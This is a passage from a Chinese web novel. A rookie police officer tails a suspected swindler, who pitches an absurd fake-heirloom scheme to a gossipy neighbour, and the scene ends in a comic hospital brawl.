胡大叔拎着两件雨衣冲着杜国强说:“杜儿啊不好意思啊你大妈没念过什么书不懂道理。你别跟她一般见识大叔给你赔个不是。”
杜国强笑了笑说:“没事儿我没放在心里反正大家都知道常大妈是啥样人。”
胡大叔被噎了一下随即苦笑一声赶紧下楼。
胡相伟这会儿也开口:“是我自己滑下来的真不关别人的事儿老少爷们不好意思啊我是撞的脑子疼糊涂了。大家别跟我一般见识。”
“没事儿你赶紧去医院吧。”
“就是。”
胡相伟:“哎对不住哈。”
胡相伟虽然心里火气很大但是他可不想自己的伪装被戳破有个好点的名声这是很重要的这邻居关系保不齐什么时候就能用上而且他上班几年也晓得对外有个好名声至关重要。
他都装了好几年了可不能破功
,胡相伟可不想跟院里的人交恶。
他故作不好意思,冲着大家点点头,这才跟着家里人离开。
哦,虽然是滑下楼梯,但是看着不太重。
胡相伟一瘸一拐的,李大妈嘟囔:“这不能摔瘸了吧?”
“那不能吧?这也没多高。”
“那哪好说了?”
“不过小胡最近运气不咋地啊?他回来的时候额头就受伤了,说是撞的,这又摔了,这运气简直了……”
楼里的邻居们凑在一起碎碎念,杜国强倒是拉着杜鹃奔着三楼,来到了卫副所他们家,卫副所也出来看热闹了,见他奔着自己,诧异:“你们找我啊?”
杜国强:“对。”
他带着几分严肃,卫副所也正色起来。
别看杜国强有时候搞事儿是真搞事儿,但是关键时刻从不掉链子的,正色起来的时候也肯定是真有事儿的。
“走,进屋说。”
杜鹃还是挺着急的,一进门迫不及待的就说:“卫副所,我发现坏人了!”
她三两句就交代清楚:“我今天外出回来的路上看到一对男女鬼鬼祟祟的,我觉得不太对就跟踪了,结果听到他们说要搞仙人跳。而且目标还不止一个呢。”
卫副所严肃:“你详细说说……”
杜鹃:“更多的,我也不知道了,我就听到这么多,他们看样子不是本地人。”
她双手放在膝盖上,努力回想那两个人还有什么特点,说:“那个女的,挺会演戏的,我跟踪她到住的地方了,她就跟变个人一样,还挺老实朴素的,然后……”
她当然知道那是一个叫“三月红”的团伙,但是她半点也不能提“统子”的事情。
但是,没事儿。
只要他们好好调查,也一样会调查的清清楚楚。
杜国强和杜鹃这边儿是有正事儿,那头儿胡相伟就很气急败坏了。他这人就这样,别人对他好呢,他不一定记得。但是对他不好,他是一定记在心里的。
不然也不能因为截胡儿的事儿记恨江维中,现在还想着顺势算计人。
明明那事儿是他的错,但是他不这么想。
错的从来就只有别人,不会是他自己。
这一次也一样,他很是怨怼杜国强
父女两个,他们不是做公安的吗?他摔倒的时候为什么没有拽住他?如果他们拽住他,他就不能受伤了。
一切都是他们的错。
真是该死。
胡相伟阴沉着一张脸,琢磨以后一定找机会报复!
还有李大妈,竟然还敢说他坏话,她等着,等着吧!
常菊花怨念:“都说远亲不如近邻,你看看咱家这些邻居都是什么东西,一个个的没有一个好东西,你都受伤了,他们竟然还说风凉话。那个杜国强也不是个好的,最该死就是他,他见死不救,就该赔钱的。你也是的,你干啥说自己摔的?你就该说是他推的!反正他家有钱,赔点给我们花有什么不对!
她明明很不要脸,但是偏生理直气壮。
胡大叔从外面交费回来,听到这话脸色一下子难看起来。
他呵斥:“好了,你说的这是什么话,你看看你说的那些话能听吗?不知所谓。做人光明磊落无愧于心,你这小人行径给我收一收。咱家条件也不是不好,你别是总撺掇儿子做这些下作的事情。
他又严肃的跟儿子说:“大伟你别听你妈的,学这些不好的。
胡相伟垂垂眼:“我知道了。
常菊花扁扁嘴,不敢言语,但是嘴巴呜呜哝哝的,一看就是很不服气。
胡大叔叹息一声,他早年当兵不在家,两个儿子都是媳妇儿常菊花带大的,结果好好的孩子,都养坏了。娶妻不贤祸三代啊!虽说后来他转业进了机械厂保卫科,可儿子都大了,也板不过来了。
他现在只能多盯着了。
“你们那些不好的心思给我都收起来,你那胡搅蛮缠的,纯纯的让人笑话。咱们还要在这儿生活一辈子,人的名树的影,做人得坦荡。
胡相伟抬头,说:“爸,我知道了。
他这会儿已经调整过来了,这些年在他爸眼皮底下,他是演技越来越好的。
他试探着说:“爸,杜叔这大晚上的过来是去谁家啊?有什么事儿吧?
难道是杜国强父女发现了他的事情?
他最怕的就是这件事儿被拆穿。
胡大叔:“你管好你自己,少打听他们公安的事儿。
胡相伟尴尬的笑笑,说:“我这不是、我这不是好奇吗
?”
“少点好奇心,挺大个老爷们,别跟个老太太一样,整天东家长西家短的查愣那些有的没的,跟你有什么关系。”胡大叔虽然在机械厂保卫科,但是也晓得,公安的事儿,少掺和最好。
“你那个对象处的咋样了?什么时候结婚?就连江维中都相亲了。你别是折腾来折腾去还落到他后头。”
胡相伟脸色变了下,倒是常菊花嗤笑说:“就江维中还想找对象?他那晦气玩意儿可找不到,这次相亲又没成。我看啊,等咱大孙子都上学了,这小子也找不到对象,活该!让他先头儿冤枉我们大伟截胡儿,报应,都是报应。”
胡大叔:“行了,这事儿都过去了,谁让咱家大伟这孩子以前名声不好,倒是让人误会了。你现在解释,别人也不相信啊。再说事情都过了,以后好好的过日子就是了。”
对于江维中,胡大叔也是不喜欢的。
他自己相亲不成,那是别人看不上他,怎么能因为他儿子跟女方说过话,就冤枉大伟截胡儿呢。
胡大叔自然是相信自己儿子的说法的,他儿子虽然胡闹了些,但是本质是个好孩子的。
这孩子,人品不差的,就是让他妈带的有点不着四六,如今不是改了?
胡大叔:“行了,别说这些了,你在医院照顾大伟,我先回去,明个儿我还要上班的。”
“行,爸,你回去吧。”
胡相伟一副懂事的样子。
但是人一走,他的脸就阴沉下来。
这一摔,太耽误事儿了。
他还怎么算计江维中,白晚秋的孩子等不起啊。
他想了想,低声说:“妈,你给我做点事……”
娘俩儿嘀嘀咕咕起来。
只是啊,有了防备的江维中,他又会中计吗?
胡相伟心有算计,不过却并没有人知道,毕竟也没人能想到,这人这么卑鄙啊。就连杜鹃都没太把他当回事儿,相比起来,还是“仙人跳”那事儿更重要啊。
一大清早,杜鹃他们就忙碌起来。
虽说杜鹃知道这是一个团伙儿,但是系统又不会告诉他们受害者都是谁,更多东西是要他们自己调查的。杜鹃他们很快就通过街道和管片儿知道了这个女同志的身份。
王枣花,三十九岁
从海城来寻亲的暂时居住在柳条儿胡同她租了柳条胡同儿张寡妇家的一间房租了三个月据说她打算找三个月找不到就会回老家了。
杜鹃问:“那你们知道她跟谁有来往吗?”
街道办这边的干事是真的不知道不过片长儿王大妈倒是知道点她说:“机械厂后勤的姜老头儿来找过她几次我瞅着他们许是有点什么。估计姜老头儿有那个意思不过瞅着枣花好像没那意思。她这人挺好的没什么坏心思的她说自个儿以后也得走
杜鹃浅笑说:“您看您也是做了这么多年的片长儿了最是知道人不可貌相。早些年那坏人一茬儿一茬儿跟韭菜一样哪个脸上还写着坏人了?既然有人举报了误不误会的总归还得查了才知道。但是这事儿你是知道政策的回去之后可千万不能到处说。要是真有点什么打草惊蛇那您自个儿也说不清楚了您说对吧?”
王大妈:“我懂我懂这个政策我是知道的我也是配合干了好些年了。”
她虽然不太相信枣花是坏人但是小公安的话也对人不可貌相总归也要查一查。就不知道是谁举报的!
杜鹃:我是我自己是我自己嘿嘿嘿!
当然这个话就没必要说了。
她笑眯眯的问:“您还知道别的吗?除了这人还有别人找她吗?”
王大妈:“这个我就不太晓得了更细节你得问他们管院儿我虽然是片长但是不住在他们院儿。”
杜鹃点头:“行我知道了还请多保密啊。”
“晓得晓得。”
别看街道办干事和王大妈知道的都不算多但是不多也是知道点所以杜鹃他们倒是很快就找到了机械厂后勤的姜老头儿。
别看现在外头有些闹腾但其实啊大部分老百姓还是正常过日子的。整天鸡毛蒜皮的事儿可不少他们派出所周围又是火车站又是机械厂那就更忙了。
虽说已经
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是江桦市最大的派出所但是人手还是不够用。
所以这次还是只有他们四个人进行调查。
杜鹃到底是新人所以跟踪这活儿还是老鸟儿的陈正民领着陈晨去了张胖子领
着杜鹃负责外围调查。这个杜鹃也没啥意见她小时候就知道了干这一行。最忌讳的就是冲动拔尖儿干好自己擅长的才最重要。
新人就是要多学习哒!
杜鹃跟着张胖子走访外围的几个大爷你还别说倒是不少收获。
别看王枣花看着老实但是真是禁不住细查的。杜鹃跟着张胖子走访也是见识了都不知道王枣花从哪儿找的那么多个卧龙凤雏。
杜鹃心道怪不得最后没有人报警咧。
这一个个老头儿哎。
杜鹃都不稀得说咋说呢?多少都有点老不正经她一路啧啧啧张胖子失笑说:“你啊还是见识少了以后你干的时间长了就见怪不怪了啥样的人都有。”
杜鹃默默点头懂!
时间也不早了两个人准备往回走回去还得跟陈正民他们碰头儿呢张胖子:“也不知道今天老陈他们那边收获怎么样你还别说这女的还挺……”
还没说完杜鹃用力扯了一下他的衣摆。
张胖子一愣杜鹃努努嘴他顺着看过去呦吼你看看这倒是巧了不是?
俩人竟然碰到正主儿了。
他们倒是没想到竟然碰见了王枣花老陈他们两个也在不远不近的跟着。
陈正民他们两个穿着便服跟踪王枣花呢。
几个人的视线对上随即若无其事的别开几乎是擦肩而过。这就能看出来王枣花心里素质挺好的不过杜鹃垂着头看见她攥紧了的拳头琢磨这人也不是看起来那么镇定。
最起码看见公安还紧张的。
“呦这不是杜鹃?”
突然一声叫声传来杜鹃转头一看哦豁是常菊花大妈。
杜鹃生怕她叫破陈正民的名字都住在一个大院儿不熟也是认识的。她立刻上前一下子挽住了常菊花的胳膊笑眯眯的说:“常大妈你咋一个人在这儿啊?”
她好奇的问:“你没去医院啊?”
常菊花被杜鹃“箍”住了
杜鹃:“走访啊。”
“哎呀你看你们这个活儿
我就说这派出所的活儿不是姑娘家能干的你看你们钱没看你们挣多少但是活儿倒是挺忙一天天的。这大热天的还出来到处走。我就跟你说你看你一个小姑娘白白净净两天半就得晒成黑煤球儿。哎呀你看我家两个小子都吃不了这个苦所以我就跟他爸说既然难得有这么个机会还是去做司机吧。这做司机啊就是活儿少钱多靠技术呵呵呵呵!”常菊花沾沾自喜带着几分得意。
她看似是说着关心的话但是话里话外显摆自己呢。
杜鹃挑眉这给你吹的。
她甜甜的笑挽住常菊花继续不撒手眼神儿却扫向了走在不远处的王枣花。
殊不知啊王枣花倒是走的慢了几分听着他们说话还侧头看了常菊花一眼。
常菊花叭叭叭显摆个不停:“我家大明和大伟都是能干的在单位也是最有面子的那领导可是器重的很。要不你等等等我跟我家儿子说说看看他们单位缺人的时候能不能给你留个机会这姑娘家哪有干公安的!又忙又危险你可别觉得派出所就不危险。这一行就没有不危险的。你是晓得的啊门路我家是有的。到时候……”她捻一下手指头意味深长的笑了笑。
杜鹃差点笑出声来她就不懂了这胡家条件挺好的啊一家四口也是三个工人
这常大妈怎么还不遗余力的捞钱啥钱都想挣啊。
她笑容很灿烂说:“那可不行我还是很喜欢我的工作。”
张胖子在一旁跟着调侃:“常大妈你这当着我的面儿挖我们组的墙角这不好吧?哪有你这么干的!”他移了个位子挡住陈正民他们那个方向。
常大妈尴尬的笑笑:“呃……张儿你也在啊。”
张胖子:“……”
他这么大一个人这么胖咋的还看不见他了?他这么没有存在感的吗?
张胖子无语。
不过别看跟常大妈唠嗑儿可不管杜鹃还是张胖子其实心思还在王枣花身上。只是吧这王枣花怎么走的跟个乌龟似的?这也太慢了吧?
她走的这么慢陈正民他们两个没辙又怕被常大妈叫出身份只能继续往前走。
真是耽误
事儿啊!
只是常大妈不觉景儿,还以为人家是真心要跟她唠嗑,得意的说:“你们啊,就是没有远见,这啥工作能比得上做司机?”
杜鹃:“是是是,比不得您家俩司机呢。”
常大妈得意:“那可不,我家可是三个职工的。”
自家的条件,就算是在普遍条件还不错的家属院比起来,也算是相当不错了。
同样是一家四口三个职工的家庭,也没几家了。
哦,杜鹃他们家也是。
但是,常大妈自认为自家是比杜鹃他们家强太多的,毕竟,厨子虽好,不如司机啊!司机的隐形福利可太多了。
她微微一笑,说:“你大明哥过几天要跑一趟哈城,哈城好东西可不少,你有啥要带的吗?大妈做主,帮你应承这个事儿了,你稍微给点好处就行。”
杜鹃:“……”
常大妈好缺钱的样子。
她摇头:“我没什么要带的,谢谢大妈了。”
她扫一眼,陈正民他们已经无奈往前走离开了,她也松开了胳膊,说:“常大妈,我们这还有工作呢,不唠了啊!”
常大妈:“你不捎东西啊,真的不捎啊。听说哈城可是有老毛子那边的过来的舶来品呢。”
杜鹃:“我也不缺啥啊。”
警报解除,她就不想跟常大妈寒暄这有的没的了。
常大妈就想着捞钱!
捞钱捞钱!
看她像不像是钱!
别说工资了,就连金币,她妈都不会让她乱花的好嘛!
刚工作的小年轻,就是这么可怜巴巴。
她摆手:“我们先走了。”
她又扫了一眼,王枣花竟然还没走多远,这速度可不是乌龟的事儿了,她……是再听他们说话?杜鹃跟张胖子对视一眼,虽说共事时间不长,但是还是有着同行的警觉与默契的。
她果断:“常大妈,先走了哈。”
十分干脆的走人。
常大妈没有得偿所愿,抿着嘴哼了一声,眼瞅着杜鹃跟张胖子走了,她原地呸了一声,说:“不识抬举!”
“大妈,你家有人要去哈城啊?”王枣花看看杜鹃他们走远的身影,凑了上来。
常大妈斜楞眼:“你谁啊?”
第 18 章 热热闹闹的医院啊
第18章热热闹闹的医院啊
杜鹃和张胖子各坐在走廊的一侧,这盯梢儿,可没有聚在一起的。
杜鹃垂着头竖着耳朵,跟个兔子似的,眼神儿轻瞟着那头儿,王枣花和常大妈两个人坐在走廊长椅上“推心置腹”。
杜鹃恍恍惚惚,忍不住掏掏耳朵,这年头儿,搞诈骗都这么不走心了吗?
难道,难道是筛选傻子?
这么离谱的话都能相信,那肯定好骗。
杜鹃抿着小嘴儿,挪挪屁股,更凑近几分,继续偷听。
这会儿王枣花握着常大妈的手,温温柔柔的说:“我家祖上,就是吕布,方天画戟,可是我家的传家宝。大妈,我就是跟你一见如故,才跟你说这个。”
常大妈:“啊?哦哦哦!”
所以咧!
这个跟她们家有人去哈城有什么关系?
再说,啥三国啥吕布啥方天画戟?她不知道啊!
她都是假装知道,纯文盲,不认字儿,不知道是啥!
但是,面子不能掉,装懂就行!
可虽然装懂,但常大妈迷茫常大妈不解常大妈懵逼。
她这样,杜鹃也这样。
杜鹃也不懂,这话题这么跳跃,是为了啥啊?
不过好在王枣花没让大家继续迷茫,她带着几分哭音,可怜的说:“我家遇到大事儿了,所以我想给这个卖掉拿钱走关系。”
常大妈迷茫:“我也买不起啊。”
杜鹃竖着耳朵,差点跟着点头,是啊是啊,常大妈也买不起的啊。
啊不对,啊呸呸,你家有个屁的方天画戟啊!
再说,这不是小说吗?
实际上吕布用的是这个吗?
你也不能听了一句:方天画戟专捅义父,就认定小说是真的了吧?
杜鹃虽然偷听,但是内心疯狂吐槽。
虽说杜鹃内心的弹幕吐槽都已经飘的密密麻麻,但是人家当事人还能撑着继续演戏呢。
王枣花咬着唇,说:“不不不,你误会了,我也不是要卖给你,我家那个可是传家宝,一般人是买不起的。”
常大妈也不是什么好脾气的人,有点忍无可忍了,说:“你到底想咋样你直接说,你这拐
弯抹角的我听不明白。你不是要从哈城捎东西吗?你就说捎啥能给多少钱我不听你那些狗屁倒灶的家事儿。”
王枣花赶紧的:“我晓得我晓得是这样的我想托您从哈城捎一批稀罕的东西就老毛子那边的特产我想送人。但是我手里暂时还没那么多钱……”
常大妈一下子跳起来:“没钱你说个屁啊!你这不是浪费我的时间?什么狗屁玩意儿!”
她眉毛都竖起来了格外的不高兴刻薄的盯着王枣花嘲讽:“穷鬼就滚远点凑到我面前装什么大瓣儿蒜。”
“不是的不是的你误会了您听我说。”
王枣花低声:“我手里确实没有那么多钱但是我家的传家宝已经找到买家了那边给我一万块呢。”
嗞!
常大妈倒吸一口气。
“多少???!!!一万!一万???”
她声音都劈叉了。
杜鹃:“……”
常大妈你该不会是相信了吧?
啊这……
平日里的聪明相果然是装的是装的啊!
杜鹃又开始在内心哔哔了疯狂吐槽+1+1+1+1……
常大妈深深的吸气呼气激动:“天爷啊你家的传家宝这么值钱呢?”
王枣花腼腆的笑笑带着几分得意说:“那是什么是方天画戟那可是神器更是古董那可是三国时期的东西有多值钱价值不可估量啊。如果不是我家出事儿需要钱我是怎么都不可能卖出去的。现在给一万看着挺多但其实真的不算什么。这都是少的。别说一万如果赶上好时候两万三万四万都不在话下。”
停顿一下她继续说:“我觉得一万还是有点太少了所以还在争取
差的太多了。我们各退一步,一万五我是能拿到的。谈妥了我就去你家,这头儿啊,我收钱,把方天画戟交出去。那头儿啊,就给你钱。你把捎的货给我。咱在一天交易,您看您也不吃亏。您觉得呢?
常大妈:“你等等,我捋捋,我捋捋你的话。
王枣花:“其实,其实不是逼不得已拿不出这么多钱,我是不舍得把我家的传家宝放在你哪儿的。讲真,我家这可是传家宝,这个是价值万元的传家宝,如果不是看您是个正派人,又住在公安家属院儿,是个信得过的,我是绝对不敢把传家宝压出去的。真的,我就是看您人品好。
常大妈得意,上下扫了一眼王枣花,说:“你这话倒是没说错,我看你这人倒是有点眼光,看人很准啊。我这个人,江湖人称侠肝义胆常大妈,这说的就是我。
王枣花拍马屁:“我就知道,我就知道您是个大好人。
常大妈更加得意。
杜鹃:“……
你们俩真是一个敢说一个敢信啊!
杜鹃一时感叹,这骗子这么拙劣,是怎么逃脱法律制裁的啊!
合理吗?
你们说合理吗?
这要不是戴着假发,她都能给头发挠秃了。
真就不能理解啊。
杜鹃内心又开始吐槽+1+1+1……
她十分看不上这拙劣的骗局,但是,但是但是,常大妈抿抿嘴,说:“你想从哈城带什么?
杜鹃:“???
杜鹃:“!!!
哎不是,你这是相信了?
这套路很粗糙的啊。
杜鹃:“……
沉默,是今晚的医院。
杜鹃内心戏超多,倒是王枣花一点也不意外常大妈会相信,她自得的笑了一下,但是仍是一副温柔中带着怯懦的样子,说:“烟酒,那自然是烟酒的,如果有巧克力也来一些。
“巧克力?那是啥玩意儿?
常大妈疑惑,没听过这玩意儿啊。
王枣花:“跟糖差不多,但是是苦的。
常大妈:“???
她有点看不懂了,随即说:“苦苦的糖就说苦糖得了呗,叫啥巧克力。那苦的有啥吃头。真是就会搞洋玩意儿,这
名字我听都没听过。”
王枣花心里鄙夷这个老太太没见过世面真是个土老鳖。
但是面上却说:“我也没吃过但是这东西少见听说大城市只有友谊商店这种地儿才有卖呢。我家是要送礼既然是送礼
“那倒是。”常大妈嘟囔一句。
她斜楞眼又开始上下打量王枣花她倒没说怀疑王枣花的话嗐她可是洞庭湖的老麻雀还能被一个娘们骗了?这王枣花一看就是没什么心眼儿的。
传家宝这种事儿搁了一般精明人可不能说。
她咳嗽一声说:“我咋知道你是不是骗我?”
王枣花:“大姐你想我的东西放在你家你虽然给我捎东西了但是你这东西还没给我呢。就算是我拿不出钱你也不亏啊。东西还是你的。更不要说我传家宝就要卖了咋可能拿不出钱?好咱退一万步讲我就是真的没卖出去这事儿黄了。你把我的传家宝扣着我还能不筹钱把传家宝和要的东西都赎出来?您是一点也不吃亏的。我让您带烟酒不给钱您别给我就是了。”
她叹息一声说:“其实该害怕的是我那可是我家传家宝放在外面我心里也不踏实呢。”
她偷看常菊花一眼突然就站起来说:“算了算了算了既然你不放心那就算了我再去想别的办法本来就是萍水相逢也是我太大胆了这事儿我也得多想想的。我家那可是传家宝如果有个上市我可对不起祖宗。”
她立时就要走常大妈一下子把人拽住说:“你看你你这咋就走了?你着什么急啊!我没说不同意。你既然敢跟我说不就是信任我?”
王枣花犹犹豫豫。
杜鹃瞄一眼又瞄一眼感叹王枣花虽然讨论粗糙但是演技还挺好。怪不得是能诈骗老头儿的人。
这不常大妈明显是相信了。
她说:“你别走啊我没说不帮你带你信得过我才跟我说我也不是糊涂人啊。”
王枣花状似犹豫。她期期艾艾的说:“我是相信你的一看您就是个好人但是就不知道大妈你的家人信不信得过……”
她咬着唇说:“这事儿您能不告诉家里人吗?我我是真的怕有
人见财起意,我信得过您的,但是您的家人,我都没见过,哪里信得过……这是咱们两个的交易,您看如何?
常大妈眼睛一亮:“这必须的啊。
这是她赚私房钱的机会,本来不想家里几个男人知道。
常菊花:“哎,你说说呗,你家是出啥事儿了?咋这么着急用钱?传家宝都卖了,这也太惨了吧?
王枣花:“我……
“常阿姨。
正要说着,响起一道女声。
就连杜鹃都抬眼看过去了,她扫了一眼,呃……白晚秋。
白晚秋怎么来了?
杜鹃惊诧,常菊花更惊讶啊,她猛地站起来,说:“你怎么来了!
她火速的东张西望,生怕遇见熟人,扫了一圈儿,嗯,没熟人。
杜鹃:我这么大一个人,你认不出我,你眼神儿真好。
哦不,是我伪装的真好。
杜鹃跟个假人一样,坐在那儿好久没动过了。
常菊花不高兴的说:“我不是跟你说了,没事儿别来找大伟?你这是存心让我不痛快是吧?
她带着几分怨怼,越发的看不上白晚秋,明明,明明今天下午的时候她都去找过白晚秋了,没想到晚上这人倒是偷偷来了。她眼神锐利,质问:“你来干什么!
白晚秋被她这么一说,倒是委屈的很,她咬着唇,说:“大伟哥受伤了,我不放心。
常菊花气急败坏:“这有你什么事儿?你不放心?你算是哪根葱你不放心?我看你真是不知所谓。这里是你能来的地方吗?要是让人看见了,八成又要误会我家大伟了。你能不能不要给他添麻烦?
常菊花可不想儿子再沾染上截胡儿的事儿,先头儿那个事儿已经很气人了。她可不想再来一次被人指指点点。
当然了,常菊花已经知道白晚秋跟儿子的事儿了。
昨晚知道的。
不过甭管早晚,她觉得儿子都不能跟白晚秋扯上关系。
她那个未来儿媳妇儿李秀莲的爸爸可是机械厂采购科主任,那是实打实的干部,还有权利。虽说家里也有儿子,但是就两个孩子,李秀莲可是很受宠的。李秀莲也在百货商场工作呢。
八大员之一,热门好单位。
这要是嫁过来,对他家可是很有用的。
白晚秋有什么,虽说号称干部家庭,但是她爸就是普通的车间小班长,家里四个孩子,那可真是称不上多好的。要不是她运气好考上了电影院的售票员,那她的条件根本不能看。
所以常菊花是绝对不会允许这个白晚秋跟自己儿子好的,可她没想到,今天下午才去给她安排了接下来的“行动”,这人晚上就来了。
真是不把她的话当回事儿,可恶!
常菊花怒目圆瞪,表情狰狞,说:“我不是说了,让你不要来找我家大伟吗?你答应的好好的,转头儿就给我阴奉阳违。你可真是个好样的,你爸妈就教出来你这种女儿?真是个贱骨头!”
白晚秋气的不行,她虽然面上对常菊花客气,但是心里是十分怨怼这个老虔婆的,如果不是她不同意,自己跟大伟哥早就修成正果了。一切都是这个老虔婆的错。
只是想要嫁到胡家总归绕不开婆婆,她强撑着委屈,说:“常阿姨,你怎么能这样说我?”
她苦哈哈的说:“大伟哥摔伤,我哪里放心的下?”
她扫了一眼常菊花身边的女人,眼神鄙夷,故作很了解的说:“你就是李秀莲吧?”
白晚秋跟胡相伟好,但是却从来没有见过李秀莲,不过大伟哥是说过的,李秀莲长得不如她,显老,如果不是他妈坚持,他本人是一点也不乐意的。
白晚秋上下打量王枣花,心里十分鄙夷,心说:大伟哥真是饿了,竟然要跟这样的女人结婚!这女的一看都要奔四十了,长得也太老了吧?
哼,不就是条件好?
她白晚秋也是干部家庭啊。
白晚秋做作的很:“我是胡相伟的好朋友,我叫白晚秋。他一定跟你提过我吧?我可经常听他提起你呢,呵呵呵!”
虽说也被胡相伟说通了打算找个接盘侠,但是如果可以嫁给大伟,她又何必一定要找个接盘侠?
再说!
这个李秀莲真的太不如她了。
她一下子信心倍增。
她高傲的笑笑:“我总是听说你条件好,看着也不怎么样嘛。”
这衣服看着也不新啊!
果然条件好都是吹出来的。
王枣花:“????”
一
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旁蹲点儿盯梢儿的杜鹃:“?????
哎不是,这是闹哪样儿?
白晚秋为什么会把王枣花认成李秀莲啊?
王枣花,将近四十!
李秀莲,二十几。
这再怎么也不能认错人吧?
杜鹃恨不能凑到一边儿嗑瓜子儿看热闹,打住打住,杜鹃,要注意,你还在工作,你是盯梢儿王枣花的。
虽然咱是新人,但是也不能掉链子啊!
杜鹃吞咽一下口水,偷瞄着这几个人。
这会儿王枣花也终于反应过来了,她笑着说:“你认错人了。
白晚秋才不信呢,这如果不是李秀莲,能跟常大妈这么亲近?她呵呵一声,说:“呦,这怎么这么窝囊啊,都不敢承认自己是谁了?
常大妈这会儿也一样反应过来,她张口就骂:“好你个小娼妇,我说你怎么来了,敢情儿你是来捣乱的啊!你个贱人,你什么意思,没安好心眼啊!我看你就是故意的!
这幸好是王枣花,要是李秀莲……
常大妈瞬间一身冷汗,不敢相信如果是李秀莲,今天的事儿得变成啥样。
越想越气。
她上前就是一个大嘴巴子,啪!!!
耳光响亮!
重重的扇过去!
“你个贱人!我让你图谋不轨!你给我滚!
“啊!你敢打我?白晚秋不可置信,她一下子就崩溃了,猛地扑上去,歇斯底里:“你故意拆散我跟大伟,你个老虔婆!我爸妈都不打我,你还敢打我。我跟你拼了!
她嗷的一声,冲上前抓住常大妈的头发,甩开了巴掌。
“你个不要脸的东西,你敢跟我动手?
常大妈可没想到,白晚秋还敢动手。
真是反了她了。
倒反天罡!
真是倒反天罡!
她反手拽住白晚秋,两个人瞬间撕把起来。
杜鹃:“!!!!
她站起来,立刻就想拉架,只不过一眼扫到张胖子,顿住了脚步,她要是真的上前拉架,保准被认出来。那就打草惊蛇了。
孰轻孰重,杜鹃瞬间做出了选择。
老娘们打架,不少见的。
应该还
好盯着!
“你个老虔婆我跟大伟在一起都快一年了你偏是让大伟哥娶这个老女人你看看这女人明明才二十多长得跟四十似的!你是瞎吗?就为了条件让儿子娶这种女人你个歹毒的老妇!”
“你才是个胡说八道的小娼妇你不要脸贴着我家儿子怎么的这天底下的男人死光了你还要不要脸了……”
两个人抓挠扑打。
一个小护士从护士站出来劝说:“你们这是干什么快别闹了这不是你们撒野的地方!”
“滚!”
异口同声。
继续打!
小护士一看情况不好飞快的下楼搬救兵去了。
杜鹃看的呲牙裂嘴这些老娘们打架可真是比老爷们勇猛多了。
杜鹃挪了个位置蹲在墙角看热闹好在这会儿走廊里出来不少人都看热闹呢。
两个女人就这么打在一起杜鹃往病房看了几眼感叹胡相伟这人真是牛逼不管外面腥风血雨他都能在屋里装死啊!这种男人最是要不得了。
她瞄着王枣花虽说看热闹但是正事儿也不能含糊。
王枣花……王枣花这会儿也懵逼啊她哪里想到还有这屁事儿呢。
这也没说啥啊怎么的一言不合就打起来了?
一想着闹大许是公安就来了她生出几分不好的预感转身就想先离开。甭管骗不骗人的自己的安全还是很重要的能不跟官家打交道就不要跟官家打交道这才是最安全的。
王枣花想走立刻就被白晚秋发现了她认准了这就是李秀莲眼珠子一转一推常菊花
“你放屁。你才是丑八怪!”
王枣花也破防了她虽然四十来岁但是长得还是不错的不然也不能□□老头儿啊。而且她是有几分妩媚的风情的。
王枣花一直都对自己很有信心但是没想到这女人竟然听不懂人话几次三番没完了她也不客气用力推过去:“滚开!你个蠢货我都说了我不是什么李秀莲!”
“你还给我装!不是李秀莲你来陪夜?你是怕了我吧?连自己的身份都敢承认
了你就是个胆小鬼你配不上胡相伟!”白晚秋认定了不撒手恨不能就此破坏了李秀莲跟胡相伟母子的关系猛地伸手用力扇过去:“贱人!”
啪!
常大妈反手扇了白晚秋一个大嘴巴子:“你个不要脸的贱人你勾搭我儿子还敢在这儿耀武扬威!我儿子都有对象了你还要凑上来!你算是个什么东西!”
“啊啊啊啊!你放屁在爱情里不被爱的才是第三者才是该退出的!”
王枣花:“你个贱人你个贱人竟然敢打我!”
她猛地冲上前薅住了白晚秋的头发一手揪着她的胳膊用了一扭……
“啊!”
白晚秋惨叫出声。
王枣花:“我让你打我!我让你打!”
她纵横江湖这么多年啥时候受过这个无妄之灾!
那些老头儿一个个的凑在她面前跟狗一样
妈的还是认错人的动手!
她可太委屈了。
王枣花:“我说了我不是什么李秀莲你个贱人是听不见吗?!啊!你是耳朵塞了绿毛听不见吗!我让你动手!我让你动手!”
啪啪啪!
她也开始扇大逼斗了。
白晚秋:“你打我你还敢打我你就是嫉妒我!我跟你拼了……!”
她用力往前一撞王枣花咣当一声撞在墙上白晚秋扑过来就是一通抓挠王枣花:“啊!!我的脸!”
她可是靠脸吃饭的用力一踹!
白晚秋往后摔过去砰坐在了常菊花的身上常菊花惨叫:“啊!”
白晚秋这会儿也遭不住了:“我的肚子我的肚子救命啊……”
几个人战斗力这么强大家都不敢靠边儿好在这会儿小护士也叫了救兵过来。一个五大三粗的护士大姐领着两个同样壮硕的女护士冲上来:“怎么回事儿?快快把人送到急救室!”
“我肚子疼我有孩子……”
“什么快快!”
“先救我懂不懂尊老爱幼这个贱人就是装的。”常菊花怒吼。
“我才是无妄之灾我根本不是什么李秀莲啊!”王枣花捂着脸也崩溃了。
苍天
第 19 章 对照组邻居出场啦
第19章对照组邻居出场啦
三个女同志阴差阳错干了一架。
虽说是闹了乌龙,但是几个人也都打出了火气的,几个人态度都不是很好。
算起来,最倒霉的受害者王枣花倒是脾气最好的,她还指望坑常大妈一把呢,自然不会露出刻薄的真面目。不过就算这样,她也是咬准了五十不松口的。
白晚秋再多的火气也抵不住自己有把柄在人家手里,只能含恨掏钱。
只是吧,一般人身上也不会带五十这么多!就说白晚秋,一个月工资才三十二块五呢。她哪可能随时揣着这么多钱。王枣花:“我可以跟你回家拿。”
白晚秋警惕的看着王枣花,说:“你跟我回家?那可不行,我信不过你。”
她咬咬唇,眼珠子转了一下,说:“你等我,我去找大伟拿钱给你。”
“什么!”常大妈怒了。
“你这死丫头是什么意思,这钱是你自己的事儿,你干什么盯上我儿子,我家真是倒了八辈子霉,沾上你这么个晦气的东西。”常大妈还想骂人,白晚秋挺了挺肚子,说:“这里可是你孙子。”
“呸,谁知道你跟谁好过,看你就是个不正经的,好端端的……”
“你个该死的老东西!”白晚秋猛地伸手,用力推了过去,“最恶毒无耻的就是你!□□不是你,我早就跟大伟结婚了。你就在其中穷搅合。”
常大妈咣当摔个屁蹲儿。
常大妈:“你敢跟我动手!!!”
白晚秋鄙夷的笑,说:“我凭什么不敢!我告诉你,你给我客气点,不然我就不客气。”这老虔婆阻拦了她跟大伟的婚事,难道她还要给她什么好脸儿?想都别想!
